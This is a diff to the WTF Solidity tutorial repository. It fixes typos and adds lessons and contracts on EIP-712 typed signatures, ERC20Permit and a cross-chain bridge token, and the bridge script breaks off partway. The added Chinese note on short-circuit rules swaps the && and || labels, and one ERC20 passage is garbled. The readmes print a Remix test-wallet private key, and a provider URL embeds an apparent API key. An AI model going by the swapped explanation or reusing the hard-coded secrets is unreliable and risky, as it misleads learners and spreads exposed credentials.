diff --git a/02_ValueTypes/readme.md b/02_ValueTypes/readme.md index d145c9d46..abd3ebf4d 100644 --- a/02_ValueTypes/readme.md +++ b/02_ValueTypes/readme.md @@ -59,6 +59,7 @@ bool public _bool5 = _bool != _bool1; // 不相等 在上述代码中:变量 `_bool` 的取值是 `true`;`_bool1` 是 `_bool` 的非,为 `false`;`_bool && _bool1` 为 `false`;`_bool || _bool1` 为 `true`;`_bool == _bool1` 为 `false`;`_bool != _bool1` 为 `true`。 **值得注意的是:**`&&` 和 `||` 运算符遵循短路规则,这意味着,假如存在 `f(x) || g(y)` 的表达式,如果 `f(x)` 是 `true`,`g(y)` 不会被计算,即使它和 `f(x)` 的结果是相反的。假如存在`f(x) && g(y)` 的表达式,如果 `f(x)` 是 `false`,`g(y)` 不会被计算。 +所谓“短路规则”,一般出现在逻辑与(&&)和逻辑或(||)中。 当逻辑或(&&)的第一个条件为false时,就不会再去判断第二个条件; 当逻辑与(||)的第一个条件为true时,就不会再去判断第二个条件,这就是短路规则。 ### 2. 整型 diff --git a/35_DutchAuction/DutchAuction.sol b/35_DutchAuction/DutchAuction.sol index 90f4e079d..8563b75d8 100644 --- a/35_DutchAuction/DutchAuction.sol +++ b/35_DutchAuction/DutchAuction.sol @@ -19,7 +19,7 @@ contract DutchAuction is Ownable, ERC721 { uint256[] private _allTokens; // 记录所有存在的tokenId //设定拍卖起始时间:我们在构造函数中会声明当前区块时间为起始时间,项目方也可以通过`setAuctionStartTime(uint32)`函数来调整 - constructor() ERC721("WTF Dutch Auctoin", "WTF Dutch Auctoin") { + constructor() Ownable(msg.sender) ERC721("WTF Dutch Auction", "WTF Dutch Auction") { auctionStartTime = block.timestamp; } diff --git a/45_Timelock/Timelock.sol b/45_Timelock/Timelock.sol index e97acd549..f103e7ccf 100644 --- a/45_Timelock/Timelock.sol +++ b/45_Timelock/Timelock.sol @@ -109,6 +109,7 @@ contract Timelock{ if (bytes(signature).length == 0) { callData = data; } else { +// 这里如果采用encodeWithSignature的编码方式来实现调用管理员的函数,请将参数data的类型改为address。不然会导致管理员的值变为类似"0x0000000000000000000000000000000000000020"的值。其中的0x20是代表字节数组长度的意思. callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // 利用call执行交易 @@ -139,4 +140,4 @@ contract Timelock{ ) public pure returns (bytes32) { return keccak256(abi.encode(target, value, signature, data, executeTime)); } -} \ No newline at end of file +} diff --git a/Languages/en/23_Delegatecall_en/readme.md b/Languages/en/23_Delegatecall_en/readme.md index 5fbd3b42d..fdc88d485 100644 --- a/Languages/en/23_Delegatecall_en/readme.md +++ b/Languages/en/23_Delegatecall_en/readme.md @@ -20,7 +20,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- ## `delegatecall` -`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` meas entrust/represent, so what does `delegatecall`entrust? +`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` means entrust/represent, so what does `delegatecall` entrust? When user `A` `call` contract `C` via contract `B`, the executed functions are from contract `C`, the `execution context` (the environment including state and variable) is in contract `C`: `msg.sender` is contract `B`'s address, and if state variables are changed due to function call, the affected state variables are in contract `C`. @@ -47,7 +47,7 @@ abi.encodeWithSignature("function signature", parameters separated by comma) Unlike `call`, `delegatecall` can specify the value of `gas` when calling smart contract, but the value of `ETH` can't be specified. -> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target cotnract is same, and target contract is safe, otherwise could cause loss of funds. +> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target contract is same, and target contract is safe, otherwise could cause loss of funds. ## `delegatecall` use cases? Currently there are 2 major use cases for delegatecall: @@ -73,7 +73,7 @@ contract C { } } ``` -### Call Initizalization Contract B +### Call Initialization Contract B First, contract `B` must have the same state variable layout as target contract `C`, 2 variables and the order is `num` and `sender`. ```solidity diff --git a/Languages/en/52_EIP712_en/EIP712Storage.sol b/Languages/en/52_EIP712_en/EIP712Storage.sol new file mode 100644 index 000000000..e45d5a117 --- /dev/null +++ b/Languages/en/52_EIP712_en/EIP712Storage.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of standard r, s, v signatures + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently, assembly (inline assembly) can only be used to obtain the values of r, s, and v from the signature. + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // 32 bytes after reading the length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + // Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); // Restore signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + // Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} diff --git a/Languages/en/52_EIP712_en/eip712storage.html b/Languages/en/52_EIP712_en/eip712storage.html new file mode 100644 index 000000000..eb43f2def --- /dev/null +++ b/Languages/en/52_EIP712_en/eip712storage.html @@ -0,0 +1,115 @@ + + + + + + EIP-712 Signature Example + + +

EIP-712 Signature Example

+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+

+
+  
Wallet address:
+
ChainID:
+
ETH Balance:
+
Signature data:
+ + + + diff --git a/Languages/en/52_EIP712_en/img/52-1.png b/Languages/en/52_EIP712_en/img/52-1.png new file mode 100644 index 000000000..d52d43120 Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-1.png differ diff --git a/Languages/en/52_EIP712_en/img/52-2.png b/Languages/en/52_EIP712_en/img/52-2.png new file mode 100644 index 000000000..0b521b27a Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-2.png differ diff --git a/Languages/en/52_EIP712_en/img/52-3.png b/Languages/en/52_EIP712_en/img/52-3.png new file mode 100644 index 000000000..76081409a Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-3.png differ diff --git a/Languages/en/52_EIP712_en/img/52-4.png b/Languages/en/52_EIP712_en/img/52-4.png new file mode 100644 index 000000000..ab8640e31 Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-4.png differ diff --git a/Languages/en/52_EIP712_en/readme.md b/Languages/en/52_EIP712_en/readme.md new file mode 100644 index 000000000..93ada4e48 --- /dev/null +++ b/Languages/en/52_EIP712_en/readme.md @@ -0,0 +1,202 @@ +--- +title: 52. EIP712 Typed Data Signature +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity Minimalist Introduction: 52. EIP712 Typed Data Signature + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we introduce a more advanced and secure signature method, EIP712 typed data signature. + +## EIP712 + +Previously we introduced [EIP191 signature standard (personal sign)](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md), which can sign a message. But it is too simple. When the signature data is complex, the user can only see a string of hexadecimal strings (the hash of the data) and cannot verify whether the signature content is as expected. + +![](./img/52-1.png) + +[EIP712 Typed Data Signature](https://eips.ethereum.org/EIPS/eip-712) is a more advanced and more secure signature method. When an EIP712-enabled Dapp requests a signature, the wallet displays the original data of the signed message and the user can sign after verifying that the data meets expectations. + +![](./img/52-2.png) + +## How to use EIP712 + +The application of EIP712 generally includes two parts: off-chain signature (front-end or script) and on-chain verification (contract). Below we use a simple example `EIP712Storage` to introduce the use of EIP712. The `EIP712Storage` contract has a state variable `number`, which needs to be verified by the EIP712 signature before it can be changed. + +### Off-chain signature + +1. The EIP712 signature must contain an `EIP712Domain` part, which contains the name of the contract, version (generally agreed to be "1"), chainId, and verifyingContract (the contract address to verify the signature). + + ```js + EIP712Domain: [ + { name: "name", type: "string" }, + { name: "version", type: "string" }, + { name: "chainId", type: "uint256" }, + { name: "verifyingContract", type: "address" }, + ] + ``` + + This information is displayed when the user signs and ensures that only specific contracts for a specific chain can verify the signature. You need to pass in the corresponding parameters in the script. + + ```js + const domain = { + name: "EIP712Storage", + version: "1", + chainId: "1", + verifyingContract: "0xf8e81D47203A594245E36C48e151709F0C19fBe8", + }; + ``` + +2. You need to customize a signature data type according to the usage scenario, and it must match the contract. In the `EIP712Storage` example, we define a `Storage` type, which has two members: `spender` of type `address`, which specifies the caller who can modify the variable; `number` of type `uint256`, which specifies The modified value of the variable. + + ```js + const types = { + Storage: [ + { name: "spender", type: "address" }, + { name: "number", type: "uint256" }, + ], + }; + ``` +3. Create a `message` variable and pass in the typed data to be signed. + + ```js + const message = { + spender: "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + number: "100", + }; + ``` + ![](./img/52-3.png) + +4. Call the `signTypedData()` method of the wallet object, passing in the `domain`, `types`, and `message` variables from the previous step for signature (`ethersjs v6` is used here). + + ```js + // Get provider + const provider = new ethers.BrowserProvider(window.ethereum) + // After obtaining the signer, call the signTypedData method for eip712 signature + const signature = await signer.signTypedData(domain, types, message); + console.log("Signature:", signature); + ``` + ![](./img/52-4.png) + +### On-chain verification + +Next is the `EIP712Storage` contract part, which needs to verify the signature and, if passed, modify the `number` state variable. It has `5` state variables. + +1. `EIP712DOMAIN_TYPEHASH`: The type hash of `EIP712Domain`, which is a constant. +2. `STORAGE_TYPEHASH`: The type hash of `Storage`, which is a constant. +3. `DOMAIN_SEPARATOR`: This is the unique value of each domain (Dapp) mixed in the signature, consisting of `EIP712DOMAIN_TYPEHASH` and `EIP712Domain` (name, version, chainId, verifyingContract), initialized in `constructor()` . +4. `number`: The state variable that stores the value in the contract can be modified by the `permitStore()` method. +5. `owner`: Contract owner, initialized in `constructor()`, and verify the validity of the signature in the `permitStore()` method. + +In addition, the `EIP712Storage` contract has `3` functions. + +1. Constructor: Initialize `DOMAIN_SEPARATOR` and `owner`. +2. `retrieve()`: Read the value of `number`. +3. `permitStore`: Verify the EIP712 signature and modify the value of `number`. First, it breaks the signature into `r`, `s`, `v`. The signed message text `digest` is then spelled out using `DOMAIN_SEPARATOR`, `STORAGE_TYPEHASH`, the caller address, and the `_num` parameter entered. Finally, use the `recover()` method of `ECDSA` to recover the signer's address. If the signature is valid, update the value of `number`. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of the standard r, s, v signature + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently only assembly (inline assembly) can be used to obtain the values of r, s, v from the signature + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // Read the 32 bytes after length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + //Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); //Recover the signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + //Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} +``` + +## Remix Reappearance + +1. Deploy the `EIP712Storage` contract. + +2. Run `eip712storage.html`, change the `Contract Address` to the deployed `EIP712Storage` contract address, and then click the `Connect Metamask` and `Sign Permit` buttons to sign. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + public_key: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. Call the `permitStore()` method of the contract, enter the corresponding `_num` and signature, and modify the value of `number`. + +4. Call the `retrieve()` method of the contract and see that the value of `number` has changed. + +## Summary + +In this lecture, we introduce EIP712 typed data signature, a more advanced and secure signature standard. When requesting a signature, the wallet displays the original data of the signed message and the user can sign after verifying the data. This standard is widely used and is used in Metamask, Uniswap token pairs, DAI stable currency and other scenarios. I hope everyone can master it. diff --git a/Languages/en/53_ERC20Permit/ERC20Permit.sol b/Languages/en/53_ERC20Permit/ERC20Permit.sol new file mode 100644 index 000000000..bf7927e78 --- /dev/null +++ b/Languages/en/53_ERC20Permit/ERC20Permit.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** +* @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } + + // @dev mint tokens + function mint(uint amount) external { + _mint(msg.sender, amount); + } +} diff --git a/Languages/en/53_ERC20Permit/IERC20Permit.sol b/Languages/en/53_ERC20Permit/IERC20Permit.sol new file mode 100644 index 000000000..c77b07de3 --- /dev/null +++ b/Languages/en/53_ERC20Permit/IERC20Permit.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * +* Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owenr`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + * + * Release the {Approval} event. + * + * Require: + * + * - `spender` cannot be a zero address. + * - `deadline` must be a timestamp in the future. + * - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + * - The signature must use the `owner`'s current nonce (see {nonces}). + * + *For more information on signature format, see: + * https://eips.ethereum.org/EIPS/eip-2612#specification。 + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + * + * Each successful call to {permit} will increase the `owner`'s nonce by 1. This prevents the signature from being used multiple times. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit}, as defined by {EIP712}. + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} diff --git a/Languages/en/53_ERC20Permit/img/53-1.png b/Languages/en/53_ERC20Permit/img/53-1.png new file mode 100644 index 000000000..6290d4630 Binary files /dev/null and b/Languages/en/53_ERC20Permit/img/53-1.png differ diff --git a/Languages/en/53_ERC20Permit/img/53-2.png b/Languages/en/53_ERC20Permit/img/53-2.png new file mode 100644 index 000000000..0342213ef Binary files /dev/null and b/Languages/en/53_ERC20Permit/img/53-2.png differ diff --git a/Languages/en/53_ERC20Permit/readme.md b/Languages/en/53_ERC20Permit/readme.md new file mode 100644 index 000000000..80556f6b3 --- /dev/null +++ b/Languages/en/53_ERC20Permit/readme.md @@ -0,0 +1,210 @@ +--- +title: 53. ERC-2612 ERC20Permit +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF A simple introduction to Solidity: 53. ERC-2612 ERC20Permit + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we introduce an extension of ERC20 tokens, ERC20Permit, which supports the use of signatures for authorization and improves user experience. It was proposed in EIP-2612, has been incorporated into the Ethereum standard, and is used by tokens such as `USDC`, `ARB`, etc. + +## ERC20 + +We introduced ERC20, the most popular token standard in Ethereum, in [Lecture 31](https://github.com/WTFAcademy/WTF-Solidity/blob/main/Languages/en/31_ERC20_en/readme.md). One of the main reasons for its popularity is that the two functions `approve` and `transferFrom` are used together, so that tokens can not only be transferred between externally owned accounts (EOA), but can also be used by other contracts. + +However, the `approve` function of ERC20 is restricted to be called only by the token owner, which means that all initial operations of `ERC20` tokens must be performed by `EOA`. For example, if user A uses `USDT` to exchange `ETH` on a decentralized exchange, two transactions must be completed: in the first step, user A calls `approve` to authorize `USDT` to the contract, and in the second step, user A calls `approve` to authorize `USDT` to the contract. Contracts are exchanged. Very cumbersome, and users must hold `ETH` to pay for the gas of the transaction. + +## ERC20Permit + +EIP-2612 proposes ERC20Permit, which extends the ERC20 standard by adding a `permit` function that allows users to modify authorization through EIP-712 signatures instead of through `msg.sender`. This has two benefits: + +1. The authorization step only requires the user to sign off the chain, reducing one transaction. +2. After signing, the user can entrust a third party to perform subsequent transactions without holding ETH: User A can send the signature to a third party B who has gas, and entrust B to execute subsequent transactions. + +![](./img/53-1.png) + +## Contract + +### IERC20Permit interface contract + +First, let us study the interface contract of ERC20Permit, which defines 3 functions: + +- `permit()`: Authorize the ERC20 token balance of `owenr` to `spender` according to the signature of `owner`, and the amount is `value`. Require: + + - `spender` cannot be a zero address. + - `deadline` must be a timestamp in the future. + - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + - The signature must use the current nonce of the `owner`. + + +- `nonces()`: Returns the current nonce of `owner`. This value must be included every time you generate a signature for the `permit()` function. Each successful call to the `permit()` function will increase the `owner` nonce by 1 to prevent the same signature from being used multiple times. + +- `DOMAIN_SEPARATOR()`: Returns the domain separator used to encode the signature of the `permit()` function, such as [EIP712](https://github.com/AmazingAng/WTF-Solidity/blob/main /52_EIP712/readme.md). + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owenr`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + *@dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit} + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} +``` + +### ERC20Permit Contract + +Next, let us write a simple ERC20Permit contract, which implements all interfaces defined by IERC20Permit. The contract contains 2 state variables: + +- `_nonces`: `address -> uint` mapping, records the current nonce values of all users, +- `_PERMIT_TYPEHASH`: Constant, records the type hash of the `permit()` function. + +The contract contains 5 functions: + +- Constructor: Initialize the `name` and `symbol` of the token. +- **`permit()`**: The core function of ERC20Permit, which implements the `permit()` of IERC20Permit. It first checks whether the signature has expired, then restores the signed message using `_PERMIT_TYPEHASH`, `owner`, `spender`, `value`, `nonce`, `deadline` and verifies whether the signature is valid. If the signature is valid, the `_approve()` function of ERC20 is called to perform the authorization operation. +- `nonces()`: Implements the `nonces()` function of IERC20Permit. +- `DOMAIN_SEPARATOR()`: Implements the `DOMAIN_SEPARATOR()` function of IERC20Permit. +- `_useNonce()`: A function that consumes `nonce`, returns the user's current `nonce`, and increases it by 1. + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/*** @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } +} +``` + +## Remix Reappearance + +1. Deploy the `ERC20Permit` contract and set both `name` and `symbol` to `WTFPermit`. + +2. Run `signERC20Permit.html` and change the `Contract Address` to the deployed `ERC20Permit` contract address. Other information is given below. Then click the `Connect Metamask` and `Sign Permit` buttons in sequence to sign, and obtain `r`, `s`, `v` for contract verification. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + owner: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 spender: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + value: 100 + deadline: 115792089237316195423570985008687907853269984665640564039457584007913129639935 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +![](./img/53-2.png) + + +3. Call the `permit()` method of the contract, enter the corresponding parameters, and authorize. + +4. Call the `allance()` method of the contract, enter the corresponding `owner` and `spender`, and you can see that the authorization is successful. + +## Safety Note + +ERC20Permit uses off-chain signatures for authorization, which brings convenience to users but also brings risks. Some hackers will use this feature to conduct phishing attacks to deceive user signatures and steal assets. A signature [phishing attack] (https://twitter.com/0xAA_Science/status/1652880488095440897?s=20) targeting USDC in April 2023 caused a user to lose 228w u of assets. + +**When signing, be sure to read the signature carefully! ** + +## Summary + +In this lecture, we introduced ERC20Permit, an extension of the ERC20 token standard, which supports users to use off-chain signatures for authorization operations, improves user experience, and is adopted by many projects. But at the same time, it also brings greater risks, and your assets can be swept away with just one signature. Everyone must be more careful when signing. diff --git a/Languages/en/54_CrossChainBridge/CrosschainERC20.sol b/Languages/en/54_CrossChainBridge/CrosschainERC20.sol new file mode 100644 index 000000000..dfad0e437 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/CrosschainERC20.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} + diff --git a/Languages/en/54_CrossChainBridge/crosschain.js b/Languages/en/54_CrossChainBridge/crosschain.js new file mode 100644 index 000000000..8b50b1686 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/crosschain.js @@ -0,0 +1,59 @@ +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { 